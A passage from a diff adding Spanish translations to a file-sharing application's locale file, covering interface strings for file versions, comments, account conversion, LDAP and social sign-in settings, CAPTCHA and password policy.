comentario…", + "You cannot grant permissions your own role does not have: :permissions": "No puedes otorgar permisos que tu propio rol no tiene: :permissions", + "You need upload permission to create folders": "Necesitas permiso de subida para crear carpetas", + "Your comment will be reviewed before it appears.": "Tu comentario se revisará antes de que aparezca.", + "Your name": "Tu nombre", + "— No change —": "— Sin cambios —", + "Newest first": "Más recientes primero", + "Oldest first": "Más antiguos primero", + "Name (A–Z)": "Nombre (A–Z)", + "Name (Z–A)": "Nombre (Z–A)", + "Largest first": "Más grandes primero", + "Smallest first": "Más chicos primero", + "Transfers": "Transferencias", + "Top clients by storage": "Clientes con más almacenamiento", + "Largest files": "Archivos más grandes", + "Expired files": "Archivos vencidos", + "A private note. Nobody else can read it, staff included.": "Una nota privada. Nadie más puede leerla, ni siquiera el personal.", + "Reply": "Responder", + "Replying to :name": "Respondiendo a :name", + "The team working on this file. No client ever sees it.": "El equipo que trabaja en este archivo. Ningún cliente lo ve nunca.", + "With :name": "Con :name", + "Your reply goes to :name only, and to staff.": "Tu respuesta va solo a :name y al personal.", + "Your reply goes to the same people as the comment above.": "Tu respuesta va a las mismas personas que el comentario de arriba.", + "Public comments are turned off for this site.": "Los comentarios públicos están desactivados en este sitio.", + "Only a file that is publicly visible can have public comments.": "Solo un archivo visible públicamente puede tener comentarios públicos.", + "The team, and everyone this file is shared with. Clients cannot see each other.": "El equipo y todas las personas con las que se compartió este archivo. Los clientes no pueden verse entre sí.", + "Everyone above, plus anyone who opens this file without logging in.": "Todos los anteriores, más cualquiera que abra este archivo sin iniciar sesión.", + "Not signed in": "Sin iniciar sesión", + "New comment on \":name\"": "Nuevo comentario en «:name»", + ":author commented on \":name\".": ":author comentó en «:name».", + ":author commented on \":name\"": ":author comentó en «:name»", + "Read the comment": "Leer el comentario", + ":count new comments": ":count comentarios nuevos", + "There are :count new comments for you:": "Tienes :count comentarios nuevos:", + "Someone": "Alguien", + "New comment on a file": "Nuevo comentario en un archivo", + "Multiple new comments (digest)": "Varios comentarios nuevos (resumen)", + "Marked the file \":subject\" as a revision of \":previous\"": "Marcó el archivo \":subject\" como una nueva versión de \":previous\"", + "Removed the version link from the file \":subject\"": "Quitó el vínculo de versión del archivo \":subject\"", + "A file was marked as a revision of another": "Se marcó un archivo como nueva versión de otro", + "A file version link was removed": "Se quitó el vínculo de versión de un archivo", + "A newer version of a file I have is available": "Hay una versión más reciente de un archivo que tengo", + "A newer version of \":previousName\" is available: :itemName": "Hay una versión más reciente de «:previousName»: :itemName", + "A newer version of a file you have is available": "Hay una versión más reciente de un archivo que tienes", + "\":previous\" has been replaced by a newer version: \":name\".": "«:previous» fue reemplazado por una versión más reciente: «:name».", + ":count files you have were replaced by newer versions": "Se reemplazaron :count archivos que tienes por versiones más recientes", + "Newer versions of the following :count files are available:": "Hay versiones más recientes de los siguientes :count archivos:", + ":previous → :name": ":previous → :name", + "A file cannot be a revision of itself.": "Un archivo no puede ser una nueva versión de sí mismo.", + "That file is already part of this file's version history.": "Ese archivo ya forma parte del historial de versiones de este archivo.", + "That file has already been revised by \":name\". Remove that link first.": "Ese archivo ya fue reemplazado por «:name». Quita ese vínculo primero.", + "That file has just been revised by another file. Reload and try again.": "Ese archivo acaba de ser reemplazado por otro. Recarga la página e inténtalo de nuevo.", + "This version history is too long. Remove an older link first.": "Este historial de versiones es demasiado largo. Quita un vínculo más antiguo primero.", + "That file can't be used as the previous version.": "Ese archivo no se puede usar como versión anterior.", + "This file is already shared with other people, so it can't be marked as a new version. Ask your contact to do it for you.": "Este archivo ya está compartido con otras personas, así que no se puede marcar como una nueva versión. Pídeselo a tu contacto.", + "This file is a new version of \":name\". Manage sharing on \":name\" instead — every version follows it.": "Este archivo es una nueva versión de «:name». Gestiona con quién se comparte desde «:name»: todas las versiones lo siguen.", + "This file is a new version of another file, and is shared with the same people as that one.": "Este archivo es una nueva versión de otro archivo y se comparte con las mismas personas que ese.", + "Versions": "Versiones", + "Mark this file as a newer version of something you uploaded before.": "Marca este archivo como una nueva versión de algo que subiste antes.", + "This version is outdated": "Esta versión está desactualizada", + "It was replaced by \":name\".": "Fue reemplazada por «:name».", + "This file is a new version of": "Este archivo es una nueva versión de", + "Remove link": "Quitar vínculo", + "Mark as a new version": "Marcar como nueva versión", + "Version history": "Historial de versiones", + "Version link removed.": "Se quitó el vínculo de versión.", + "This file is now marked as a new version of \":name\".": "Este archivo ahora está marcado como una nueva versión de «:name».", + "Share this file's recipients with the original?": "¿Compartir los destinatarios de este archivo con el original?", + "A new version is shared with the same people as the original. These recipients of this file will be added to it, so nobody loses access:": "Una nueva versión se comparte con las mismas personas que el original. Estos destinatarios de este archivo se agregarán a él, para que nadie pierda el acceso:", + "No other files are available to link to.": "No hay otros archivos disponibles para vincular.", + "Shared through \":name\"": "Se comparte a través de «:name»", + "This file is a new version of \":name\", so it is shared with the same people. Changing who can see it means changing that file.": "Este archivo es una nueva versión de «:name», así que se comparte con las mismas personas. Para cambiar quién puede verlo hay que cambiar ese archivo.", + "Edit sharing on \":name\"": "Editar con quién se comparte «:name»", + "You don't have permission to change who that file is shared with.": "No tienes permiso para cambiar con quién se comparte ese archivo.", + "This is a new version of \":name\" and is shared with the same people. Manage sharing on that file.": "Esta es una nueva versión de «:name» y se comparte con las mismas personas. Gestiona con quién se comparte desde ese archivo.", + "New version of": "Nueva versión de", + "Replaced by": "Reemplazado por", + "Outdated": "Desactualizado", + "New version": "Nueva versión", + "Replaced by :name": "Reemplazado por :name", + "Replaces :name": "Reemplaza a :name", + "There is a newer version of this file": "Hay una versión más reciente de este archivo", + "This replaces": "Este reemplaza a", + "This is a new version of a file I uploaded before": "Esta es una nueva versión de un archivo que subí antes", + "Search your files…": "Buscar en tus archivos…", + "You have no earlier files that can be replaced.": "No tienes archivos anteriores que se puedan reemplazar.", + "This file will be shared with the same people who have \":name\".": "Este archivo se compartirá con las mismas personas que tienen «:name».", + ":name (group)": ":name (grupo)", + "Search files…": "Buscar archivos…", + "Search…": "Buscar…", + "Searching…": "Buscando…", + "No files match \":search\".": "Ningún archivo coincide con «:search».", + "Nothing matches \":search\".": "Nada coincide con «:search».", + "A client account was converted to staff": "Se convirtió una cuenta de cliente en personal", + "A staff account was converted to a client": "Se convirtió una cuenta de personal en cliente", + "A client account was created from the directory": "Se creó una cuenta de cliente desde el directorio", + "Converted the client account \":subject\" to staff (:role)": "Convirtió la cuenta de cliente \":subject\" en personal (:role)", + "Converted the staff account \":subject\" to a client": "Convirtió la cuenta de personal \":subject\" en cliente", + "Created a client account from the directory on first sign-in": "Creó una cuenta de cliente desde el directorio en el primer inicio de sesión", + "Convert accounts": "Convertir cuentas", + "Convert": "Convertir", + "Convert to client": "Convertir en cliente", + "Convert to staff": "Convertir en personal", + "Convert :name to a client": "Convertir a :name en cliente", + "Convert :name to staff": "Convertir a :name en personal", + "Client → staff": "Cliente → personal", + "Staff → client": "Personal → cliente", + "Move an account between staff and clients. Files they uploaded are always kept.": "Mueve una cuenta entre el personal y los clientes. Los archivos que subió siempre se conservan.", + "They lose access to every staff screen immediately.": "Pierde el acceso a todas las pantallas del personal de inmediato.", + "They gain access to the staff screens their role allows.": "Obtiene acceso a las pantallas del personal que permite su rol.", + "Will be revoked": "Se revocará", + "Will be revoked and cannot be undone": "Se revocará y no se puede deshacer", + "Will be kept": "Se conservará", + "Nothing": "Nada", + "Nothing to keep": "Nada que conservar", + "Converting back restores everything under \"Will be kept\". It does not restore what was revoked.": "Convertirla de vuelta restaura todo lo que aparece en «Se conservará». No restaura lo que se revocó.", + ":files files and :folders folders they uploaded": ":files archivos y :folders carpetas que subió", + "No accounts match these filters.": "Ninguna cuenta coincide con estos filtros.", + "Account converted to a client.": "Cuenta convertida en cliente.", + "Account converted to staff.": "Cuenta convertida en personal.", + "Approve or deny this account request before converting it.": "Aprueba o rechaza esta solicitud de cuenta antes de convertirla.", + "You cannot convert your own account.": "No puedes convertir tu propia cuenta.", + "New password": "Nueva contraseña", + "New password (optional)": "Nueva contraseña (opcional)", + "Leave blank to keep their current password.": "Déjalo en blanco para conservar su contraseña actual.", + "This account signs in through your directory. Staff accounts never do, so it needs a password here or they will not be able to sign in at all.": "Esta cuenta inicia sesión a través de tu directorio. Las cuentas de personal nunca lo hacen, así que necesita una contraseña aquí o no podrá iniciar sesión de ninguna forma.", + "Set a password for this account. It signs in through your directory today, and staff accounts never do.": "Establece una contraseña para esta cuenta. Hoy inicia sesión a través de tu directorio, y las cuentas de personal nunca lo hacen.", + "Tokens created": "Tokens creados", + "Currently active": "Activos ahora", + ":count active": ":count activos", + "1 permission": "1 permiso", + ":count permissions": ":count permisos", + "This token carries no permissions.": "Este token no lleva ningún permiso.", + "This account has created API tokens before, but none are live now.": "Esta cuenta creó tokens de API antes, pero ninguno está activo ahora.", + "This account has never created an API token.": "Esta cuenta nunca creó un token de API.", + "No longer granted to this account, so it does nothing.": "Ya no está concedido a esta cuenta, así que no hace nada.", + "Only :name can create, change or revoke these — an administrator can see them, but not manage them.": "Solo :name puede crear, cambiar o revocar estos tokens: un administrador puede verlos, pero no gestionarlos.", + "What this token is allowed to do through the API. It can never do more than :name may.": "Lo que este token puede hacer a través de la API. Nunca puede hacer más de lo que puede :name.", + "LDAP": "LDAP", + "LDAP settings": "Configuración de LDAP", + "LDAP settings saved.": "Configuración de LDAP guardada.", + "Directory": "Directorio", + "Connection": "Conexión", + "Server": "Servidor", + "Base DN": "Base DN", + "Service account DN": "DN de la cuenta de servicio", + "Service account password": "Contraseña de la cuenta de servicio", + "Email attribute": "Atributo de correo", + "Name attribute": "Atributo de nombre", + "Additional filter (optional)": "Filtro adicional (opcional)", + "CA certificate path (optional)": "Ruta del certificado de la CA (opcional)", + "None (unencrypted)": "Ninguno (sin cifrar)", + "StartTLS": "StartTLS", + "LDAPS (implicit TLS)": "LDAPS (TLS implícito)", + "Allow clients to sign in with a directory account": "Permitir que los clientes inicien sesión con una cuenta del directorio", + "Let clients sign in with their directory account. Staff always authenticate locally.": "Permite que los clientes inicien sesión con su cuenta del directorio. El personal siempre se autentica localmente.", + "Create an account on first sign-in": "Crear una cuenta en el primer inicio de sesión", + "Directory accounts are always created as clients, never as staff.": "Las cuentas del directorio siempre se crean como clientes, nunca como personal.", + "Someone in the directory with no account here gets a client account and is signed in immediately.": "Alguien que está en el directorio y no tiene cuenta aquí obtiene una cuenta de cliente y entra de inmediato.", + "Someone in the directory with no account here gets a client account that waits in Account requests for approval.": "Alguien que está en el directorio y no tiene cuenta aquí obtiene una cuenta de cliente que espera aprobación en Solicitudes de cuenta.", + "Only people who already have an account here can sign in.": "Solo pueden iniciar sesión las personas que ya tienen una cuenta aquí.", + "Combined with the address match, to narrow who may sign in.": "Se combina con la coincidencia de la dirección, para acotar quién puede iniciar sesión.", + "The attribute holding the address people sign in with — usually mail.": "El atributo que contiene la dirección con la que las personas inician sesión: normalmente mail.", + "Where in the tree to look for people.": "En qué parte del árbol buscar a las personas.", + "Leave blank to search anonymously.": "Déjalo en blanco para buscar de forma anónima.", + "Stored encrypted, and never shown again.": "Se guarda cifrada y no se muestra nunca más.", + "Stored encrypted. Leave blank to keep the current one.": "Se guarda cifrada. Déjalo en blanco para conservar la actual.", + "For a directory presenting a certificate from your own certificate authority.": "Para un directorio que presenta un certificado de tu propia autoridad de certificación.", + "Unencrypted: the service account password and every client password cross the network in clear text.": "Sin cifrar: la contraseña de la cuenta de servicio y la de cada cliente viajan por la red en texto plano.", + "When a client’s password is not recognised locally, it is checked against the directory. Staff accounts always authenticate locally and are never sent to it.": "Cuando la contraseña de un cliente no se reconoce localmente, se comprueba contra el directorio. Las cuentas de personal siempre se autentican localmente y nunca se envían a él.", + "The PHP LDAP extension is not installed on this server, so these settings cannot take effect.": "La extensión LDAP de PHP no está instalada en este servidor, así que esta configuración no puede aplicarse.", + "The PHP LDAP extension is not installed on this server.": "La extensión LDAP de PHP no está instalada en este servidor.", + "Saves are not required to test — but the test uses the settings as last saved.": "No hace falta guardar para probar, pero la prueba usa la configuración tal como se guardó por última vez.", + "Test a sign-in": "Probar un inicio de sesión", + "Email address (optional)": "Dirección de correo (opcional)", + "Password (optional)": "Contraseña (opcional)", + "Connected and bound as the service account.": "Conectado y autenticado como la cuenta de servicio.", + "Could not connect or bind as the service account: :error": "No se pudo conectar ni autenticar como la cuenta de servicio: :error", + "Found a matching entry.": "Se encontró una entrada coincidente.", + "No directory entry matched that address under the base DN.": "Ninguna entrada del directorio coincidió con esa dirección bajo el Base DN.", + "The directory rejected that password.": "El directorio rechazó esa contraseña.", + "The search failed: :error": "La búsqueda falló: :error", + "The sign-in bind failed: :error": "La autenticación de inicio de sesión falló: :error", + "Signed in successfully.": "Inicio de sesión correcto.", + "1 item": "1 elemento", + ":count items": ":count elementos", + "1 API token": "1 token de API", + ":count API tokens": ":count tokens de API", + "1 assigned client": "1 cliente asignado", + ":count assigned clients": ":count clientes asignados", + "Managed by 1 staff member": "Gestionada por 1 miembro del personal", + "Managed by :count staff members": "Gestionada por :count miembros del personal", + "1 group membership": "1 membresía de grupo", + ":count group memberships": ":count membresías de grupo", + "1 file shared with them": "1 archivo compartido con esta cuenta", + ":count files shared with them": ":count archivos compartidos con esta cuenta", + "Approve these accounts automatically": "Aprobar estas cuentas automáticamente", + "Your directory has already established who they are, so there is nobody to vet. Leave this off to review each one in Account requests first.": "Tu directorio ya estableció quiénes son, así que no hay a quién revisar. Déjalo desactivado para revisar cada una en Solicitudes de cuenta primero.", + "Clients who register themselves are approved automatically — this setting is separate, and does not follow it.": "Los clientes que se registran por su cuenta se aprueban automáticamente: esta opción es independiente y no la sigue.", + "Clients who register themselves still wait for approval — this setting is separate, and does not change that.": "Los clientes que se registran por su cuenta siguen esperando aprobación: esta opción es independiente y no cambia eso.", + "Container filesystem": "Sistema de archivos del contenedor", + "Docker volume": "Volumen de Docker", + "Files stored on": "Archivos almacenados en", + "Host directory": "Directorio del host", + "That means docker compose down -v and docker volume prune both delete them, and a backup of your server can miss them entirely.": "Eso significa que tanto docker compose down -v como docker volume prune los eliminan, y una copia de seguridad de tu servidor puede pasarlos por alto por completo.", + "They are not on any volume, so rebuilding or recreating this container will permanently delete every file. Move them to a directory on the host before uploading anything else.": "No están en ningún volumen, así que reconstruir o volver a crear este contenedor eliminará definitivamente todos los archivos. Muévelos a un directorio del host antes de subir nada más.", + "They survive upgrades, but they live in a Docker-managed volume rather than a directory you chose.": "Sobreviven a las actualizaciones, pero están en un volumen gestionado por Docker y no en un directorio elegido por ti.", + "They survive upgrades, but they live in the Docker volume :volume rather than a directory you chose.": "Sobreviven a las actualizaciones, pero están en el volumen de Docker :volume y no en un directorio elegido por ti.", + "Uploaded files are inside Docker": "Los archivos subidos están dentro de Docker", + "Uploaded files are stored inside the container": "Los archivos subidos se guardan dentro del contenedor", + "1 more language available": "1 idioma más disponible", + ":count more languages available": ":count idiomas más disponibles", + ":left of :limit downloads left": "quedan :left de :limit descargas", + ":limit downloads per person": ":limit descargas por persona", + ":name will sign in with just their password until they set it up again, and will be emailed about this change. If two-factor authentication is required on this site, they will be asked to enrol again at their next sign-in.": ":name iniciará sesión solo con su contraseña hasta que vuelva a configurarlo, y recibirá un correo sobre este cambio. Si en este sitio se exige la verificación en dos pasos, se le pedirá que la active de nuevo en su próximo inicio de sesión.", + ":provider accepted your secret key.": ":provider aceptó tu clave secreta.", + ":provider connected.": ":provider conectado.", + ":provider did not provide an email address, which is required to sign in.": ":provider no proporcionó una dirección de correo, que es necesaria para iniciar sesión.", + ":provider disconnected.": ":provider desconectado.", + ":provider never reports whether an address is verified, so with this on it can create new accounts but can never sign in to an existing one. Connecting it from Settings while already signed in still works.": ":provider nunca informa de si una dirección está verificada, así que con esto activado puede crear cuentas nuevas pero nunca iniciar sesión en una que ya exista. Conectarlo desde Ajustes con la sesión ya iniciada sí funciona.", + ":provider rejected your secret key.": ":provider rechazó tu clave secreta.", + ":provider settings saved.": "Ajustes de :provider guardados.", + ":used of :limit downloads used": ":used de :limit descargas usadas", + "A :provider account was connected": "Se conectó una cuenta de :provider", + "A :provider account was disconnected": "Se desconectó una cuenta de :provider", + "Accounts at :domain cannot sign in with :provider here.": "Las cuentas de :domain no pueden iniciar sesión con :provider aquí.", + "A client account was created from :provider": "Se creó una cuenta de cliente a partir de :provider", + "Allowed email domains": "Dominios de correo permitidos", + "Allow signing in with :provider": "Permitir iniciar sesión con :provider", + "Always a client account. Staff accounts are only ever created by an administrator.": "Siempre una cuenta de cliente. Las cuentas del equipo solo las crea un administrador.", + "Always available — the application is written in English, so it needs no translation file.": "Siempre disponible: la aplicación está escrita en inglés, así que no necesita archivo de traducción.", + "An account already uses this email address, and :provider did not confirm that you own it. Sign in with your password and connect :provider from your settings instead.": "Ya hay una cuenta con esta dirección de correo, y :provider no confirmó que sea tuya. Inicia sesión con tu contraseña y conecta :provider desde tus ajustes.", + "An address the provider has not confirmed can never be matched to an account that already exists here. Turning this off means anyone who can register at your provider under someone else’s address can sign in as them.": "Una dirección que el proveedor no ha confirmado nunca puede asociarse a una cuenta que ya exista aquí. Desactivar esto significa que cualquiera que pueda registrarse en tu proveedor con la dirección de otra persona podría iniciar sesión como ella.", + "An administrator removed two-factor authentication from your account. You can set it up again from your security settings. Contact your administrator if this was not expected.": "Un administrador quitó la verificación en dos pasos de tu cuenta. Puedes volver a configurarla desde tus ajustes de seguridad. Contacta con tu administrador si no esperabas este cambio.", + "Anyone who can reach a file sees the categories assigned to it — a client in their portal, or anyone holding a public or shared link. Signed-in clients can also filter their files by any category in this list. Only your team can create, rename or delete them.": "Cualquiera que pueda acceder a un archivo ve las categorías asignadas a él: un cliente en su portal, o cualquiera que tenga un enlace público o compartido. Los clientes con sesión iniciada también pueden filtrar sus archivos por cualquier categoría de esta lista. Solo tu equipo puede crearlas, renombrarlas o eliminarlas.", + "Applies whenever a password is chosen, not when one is used to sign in": "Se aplica cada vez que se elige una contraseña, no cuando se usa para iniciar sesión", + "Approve those accounts automatically": "Aprobar esas cuentas automáticamente", + "A secret is stored. Leave this blank to keep it.": "Hay un secreto guardado. Déjalo en blanco para conservarlo.", + "At least :count characters.": "Al menos :count caracteres.", + "Between 0.0 (treat everyone as a bot) and 1.0 (treat everyone as human). The usual value is 0.5.": "Entre 0.0 (tratar a todos como bots) y 1.0 (tratar a todos como humanos). El valor habitual es 0.5.", + "CAPTCHA": "CAPTCHA", + "CAPTCHA is currently switched off. Choose a provider and enter its keys to switch it on.": "El CAPTCHA está desactivado. Elige un proveedor e introduce sus claves para activarlo.", + "CAPTCHA settings saved.": "Ajustes del CAPTCHA guardados.", + "Categories are visible outside your team": "Las categorías se ven fuera de tu equipo", + "Change yours": "Cambiar la tuya", + "Checks new passwords against the Have I Been Pwned breach corpus. The password itself never leaves this server — only the first five characters of its hash are sent.": "Comprueba las contraseñas nuevas contra la base de filtraciones de Have I Been Pwned. La contraseña en sí nunca sale de este servidor: solo se envían los primeros cinco caracteres de su hash.", + "Checks the secret key with your provider. Nobody has to solve a challenge.": "Comprueba la clave secreta con tu proveedor. Nadie tiene que resolver un desafío.", + "Client ID": "ID de cliente", + "Client registration": "Registro de clientes", + "Client secret": "Secreto de cliente", + "Cloudflare Turnstile": "Cloudflare Turnstile", + "Comma separated. Leave blank to allow any address.": "Separados por comas. Déjalo en blanco para permitir cualquier dirección.", + "Comments from visitors": "Comentarios de visitantes", + "Complete the security check and try again.": "Completa la comprobación de seguridad e inténtalo de nuevo.", + "Configure it myself": "Configurarlo yo mismo", + "Connected": "Conectado", + "Connected accounts": "Cuentas conectadas", + "Connected the :provider account of \":subject\"": "Se conectó la cuenta de :provider de «:subject»", + "Continue with :provider": "Continuar con :provider", + "Could not reach :provider: :error": "No se pudo contactar con :provider: :error", + "Created a client account from :provider on first sign-in": "Se creó una cuenta de cliente a partir de :provider en el primer inicio de sesión", + "Dates and times across the app are shown in this zone. Detected from your browser the first time you signed in.": "Las fechas y horas de toda la aplicación se muestran en esta zona. Se detectó desde tu navegador la primera vez que iniciaste sesión.", + "Default language": "Idioma predeterminado", + "Directory (tenant) ID": "ID de directorio (inquilino)", + "Disabled": "Desactivado", + "Disconnect": "Desconectar", + "Disconnected the :provider account of \":subject\"": "Se desconectó la cuenta de :provider de «:subject»", + "Downloaded :count time(s) so far. Your own downloads never count.": "Descargado :count vez/veces hasta ahora. Tus propias descargas nunca cuentan.", + "Download limit": "Límite de descargas", + "Download limit reached": "Límite de descargas alcanzado", + "Each person separately": "Cada persona por separado", + "Enabled": "Activado", + "Enter a secret key first.": "Introduce primero una clave secreta.", + "Enter a specific tenant ID. The shared \"common\", \"organizations\" and \"consumers\" endpoints let any Microsoft tenant assert any email address.": "Introduce un ID de inquilino específico. Los endpoints compartidos «common», «organizations» y «consumers» permiten que cualquier inquilino de Microsoft afirme cualquier dirección de correo.", + "Every language installed on this server is listed below. Tick the ones you want offered in the language menu — staff, clients and public visitors will only see those. Installing another language is a matter of adding its translation file to the lang folder.": "Abajo se listan todos los idiomas instalados en este servidor. Marca los que quieras ofrecer en el menú de idiomas: el equipo, los clientes y los visitantes públicos solo verán esos. Instalar otro idioma es cuestión de añadir su archivo de traducción a la carpeta lang.", + "Existing passwords are never re-checked, so raising this only affects passwords chosen from now on.": "Las contraseñas existentes nunca se vuelven a comprobar, así que subir esto solo afecta a las contraseñas que se elijan a partir de ahora.", + "Facebook": "Facebook", + "GitHub": "GitHub", + "Google": "Google", + "In total, across everyone": "En total, entre todos", + "Issuer URL": "URL del emisor", + "Languages": "Idiomas", + "Language settings": "Ajustes de idioma", + "Leave empty for a file that can be downloaded any number of times.": "Déjalo vacío para un archivo que se pueda descargar cualquier número de veces.", + "Length is the single biggest factor in how hard a password is to guess, which is why there are no \"must contain a capital letter\" rules here — they push people towards predictable substitutions and shorter passwords.": "La longitud es el factor que más influye en lo difícil que es adivinar una contraseña; por eso aquí no hay reglas del tipo «debe contener una mayúscula»: empujan a la gente hacia sustituciones predecibles y contraseñas más cortas.", + "Let people sign in with an account they already have somewhere else.": "Deja que la gente inicie sesión con una cuenta que ya tenga en otro sitio.", + "LinkedIn": "LinkedIn", + "Microsoft": "Microsoft", + "Minimum length": "Longitud mínima", + "No limit": "Sin límite", + "None selected": "Ninguno seleccionado", + "No sign-in providers have been set up for this site.": "No se ha configurado ningún proveedor de inicio de sesión para este sitio.", + "Not connected": "No conectado", + "Off means they wait in Account requests. An address the provider did not verify always waits, whatever this says.": "Desactivado significa que quedan en Solicitudes de cuenta. Una dirección que el proveedor no verificó siempre queda a la espera, diga lo que diga esto.", + "Off — no CAPTCHA": "Desactivado: sin CAPTCHA", + "OpenID Connect": "OpenID Connect", + "Or continue with": "O continúa con", + "Or sign up with": "O regístrate con", + "Passwords": "Contraseñas", + "Passwords that appear in known data breaches are not accepted.": "No se aceptan contraseñas que aparezcan en filtraciones de datos conocidas.", + "Protection": "Protección", + "Protect these forms": "Proteger estos formularios", + "Protect your public forms from automated abuse": "Protege tus formularios públicos del abuso automatizado", + "reCAPTCHA v2": "reCAPTCHA v2", + "reCAPTCHA v3": "reCAPTCHA v3", + "Redirect URI": "URI de redirección", + "Register this exact address with :provider. It must match character for character.": "Registra esta dirección exacta en :provider. Debe coincidir carácter por carácter.", + "Reject passwords found in known data breaches": "Rechazar contraseñas encontradas en filtraciones de datos conocidas", + "Removed two-factor authentication from \":subject\"": "Se quitó la verificación en dos pasos de «:subject»", + "Remove the limit": "Quitar el límite", + "Remove two-factor authentication": "Quitar la verificación en dos pasos", + "Remove two-factor authentication?": "¿Quitar la verificación en dos pasos?", + "Require a verified email address": "Exigir una dirección de correo verificada", + "Run these as the user your web server runs as. INSTALL.md has the full procedure.": "Ejecuta esto como el usuario con el que corre tu servidor web. INSTALL.md tiene el procedimiento completo.", + "Score threshold": "Umbral de puntuación", + "Search timezones…": "Buscar zonas horarias…", + "Security check failed. Please try again.": "La comprobación de seguridad falló. Inténtalo de nuevo.", + "Service": "Servicio", + "Set a password for this account. It has never had one — it signs in through a connected provider, and a staff account needs a credential this application can check on its own.": "Establece una contraseña para esta cuenta. Nunca ha tenido una: inicia sesión a través de un proveedor conectado, y una cuenta del equipo necesita una credencial que esta aplicación pueda comprobar por sí misma.", + "Signed-in visitors are never asked to solve a challenge when commenting.": "A los visitantes con sesión iniciada nunca se les pide resolver un desafío al comentar.", + "Sign in": "Iniciar sesión", + "Sign in with an account you already have somewhere else.": "Inicia sesión con una cuenta que ya tengas en otro sitio.", + "Site key": "Clave del sitio", + "Social login": "Inicio de sesión social", + "Stored encrypted and never shown again, not even to you.": "Se guarda cifrado y no se vuelve a mostrar, ni siquiera a ti.", + "Stored — leave blank to keep it": "Guardado: déjalo en blanco para conservarlo", + "Testing…": "Probando…", + "Test keys": "Probar claves", + "That :provider account is already connected to another account here.": "Esa cuenta de :provider ya está conectada a otra cuenta de aquí.", + "That sign-in could not be completed. Please try again.": "No se pudo completar ese inicio de sesión. Inténtalo de nuevo.", + "That sign-in method is not available.": "Ese método de inicio de sesión no está disponible.", + "The default language has to be one of the languages you are offering.": "El idioma predeterminado tiene que ser uno de los idiomas que ofreces.", + "The endpoints are read from this address, so it is the whole configuration. Must be https.": "Los endpoints se leen desde esta dirección, así que es toda la configuración. Debe ser https.", + "The expiry date must be in the future.": "La fecha de caducidad debe estar en el futuro.", + "The issuer URL must start with https://.": "La URL del emisor debe empezar por https://.", + "The public key. It appears in your pages’ source, which is expected.": "La clave pública. Aparece en el código fuente de tus páginas, lo cual es normal.", + "There is no account here for that address.": "Aquí no hay ninguna cuenta para esa dirección.", + "The security check could not be loaded. Check that your browser or network is not blocking it, then reload the page.": "No se pudo cargar la comprobación de seguridad. Comprueba que tu navegador o tu red no la esté bloqueando y vuelve a cargar la página.", + "This account does not use an authenticator app.": "Esta cuenta no usa una aplicación de autenticación.", + "This account has never had a password of its own — it signs in through a connected provider. Staff need a credential this application can check on its own, so that a provider outage cannot lock them out.": "Esta cuenta nunca ha tenido una contraseña propia: inicia sesión a través de un proveedor conectado. El equipo necesita una credencial que esta aplicación pueda comprobar por sí misma, para que una caída del proveedor no los deje fuera.", + "This account signs in with an authenticator app. Remove it only if the account holder has lost both the app and their recovery codes.": "Esta cuenta inicia sesión con una aplicación de autenticación. Quítala solo si el titular ha perdido tanto la aplicación como sus códigos de recuperación.", + "This file has reached its download limit.": "Este archivo ha alcanzado su límite de descargas.", + "This is the only way you can sign in. Set a password first, then disconnect :provider.": "Esta es la única forma en que puedes iniciar sesión. Establece primero una contraseña y luego desconecta :provider.", + "This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.": "Este sitio está protegido por reCAPTCHA y se aplican la Política de Privacidad y los Términos de Servicio de Google.", + "Those files have reached their download limit.": "Esos archivos han alcanzado su límite de descargas.", + "Timezone": "Zona horaria", + "To update, back up your database and files, then:": "Para actualizar, haz una copia de seguridad de tu base de datos y tus archivos, y luego:", + "To update, follow the steps in INSTALL.md — back up first, then unpack the release and run the migrations.": "Para actualizar, sigue los pasos de INSTALL.md: primero haz una copia de seguridad, luego descomprime la versión y ejecuta las migraciones.", + "Turn this off only if this server should make no outbound requests. If the service cannot be reached the password is accepted anyway, so an offline installation is never blocked by it.": "Desactiva esto solo si este servidor no debe hacer peticiones salientes. Si no se puede contactar con el servicio, la contraseña se acepta igualmente, así que una instalación sin conexión nunca queda bloqueada por ello.", + "Two-factor authentication removed.": "Verificación en dos pasos quitada.", + "Two-factor authentication removed by an admin": "Verificación en dos pasos quitada por un administrador", + "Two-factor authentication was removed by an administrator": "Un administrador quitó la verificación en dos pasos", + "Two-factor authentication was removed from your account": "Se quitó la verificación en dos pasos de tu cuenta", + "Unexpected reply from :provider: :codes": "Respuesta inesperada de :provider: :codes", + "Used for anyone who has not chosen a timezone of their own, including visitors to your public pages and share links. Each account can set its own in their profile.": "Se usa para quien no haya elegido una zona horaria propia, incluidos los visitantes de tus páginas públicas y enlaces compartidos. Cada cuenta puede fijar la suya en su perfil.", + "Use ProjectSend’s protection": "Usar la protección de ProjectSend", + "Use your own reCAPTCHA or Turnstile account.": "Usa tu propia cuenta de reCAPTCHA o Turnstile.", + "Verification could not be reached recently, so protected forms are being let through unchecked. Nobody is locked out.": "No se pudo contactar con la verificación recientemente, así que los formularios protegidos se están dejando pasar sin comprobar. Nadie queda fuera.", + "We protect your public forms for you. Nothing to set up, no keys to manage.": "Protegemos tus formularios públicos por ti. Nada que configurar, ninguna clave que gestionar.", + "What people see before they have chosen anything. A signed-in account keeps its own choice, and a visitor whose browser asks for one of the languages above gets that one — this is the answer for everyone else.": "Lo que ve la gente antes de haber elegido nada. Una cuenta con sesión iniciada mantiene su propia elección, y un visitante cuyo navegador pide uno de los idiomas de arriba recibe ese; esto es la respuesta para todos los demás.", + "Which languages people can choose from": "Entre qué idiomas puede elegir la gente", + "Your account was created through one of these providers and has no password of its own, so the last connection cannot be removed. Set a password first if you want to disconnect it.": "Tu cuenta se creó a través de uno de estos proveedores y no tiene contraseña propia, así que no se puede quitar la última conexión. Establece primero una contraseña si quieres desconectarla.", + "Your own account is set to :timezone, so this will not change how dates look to you.": "Tu propia cuenta está en :timezone, así que esto no cambiará cómo ves tú las fechas.", + "Your own tenant, not \"common\". Microsoft lets a user change the email address on their account, so a sign-in is only trustworthy when the token came from the tenant you named here.": "Tu propio inquilino, no «common». Microsoft permite que un usuario cambie la dirección de correo de su cuenta, así que un inicio de sesión solo es fiable cuando el token vino del inquilino que indicaste aquí.", + "Your provider rejected this installation’s secret key, so protected forms are being let through unchecked. Check the secret key below.": "Tu proveedor rechazó la clave secreta de esta instalación, así que los formularios protegidos se están dejando pasar sin comprobar. Revisa la clave secreta de abajo.", + "Your public forms are protected. You can switch to your own keys at any time.": "Tus formularios públicos 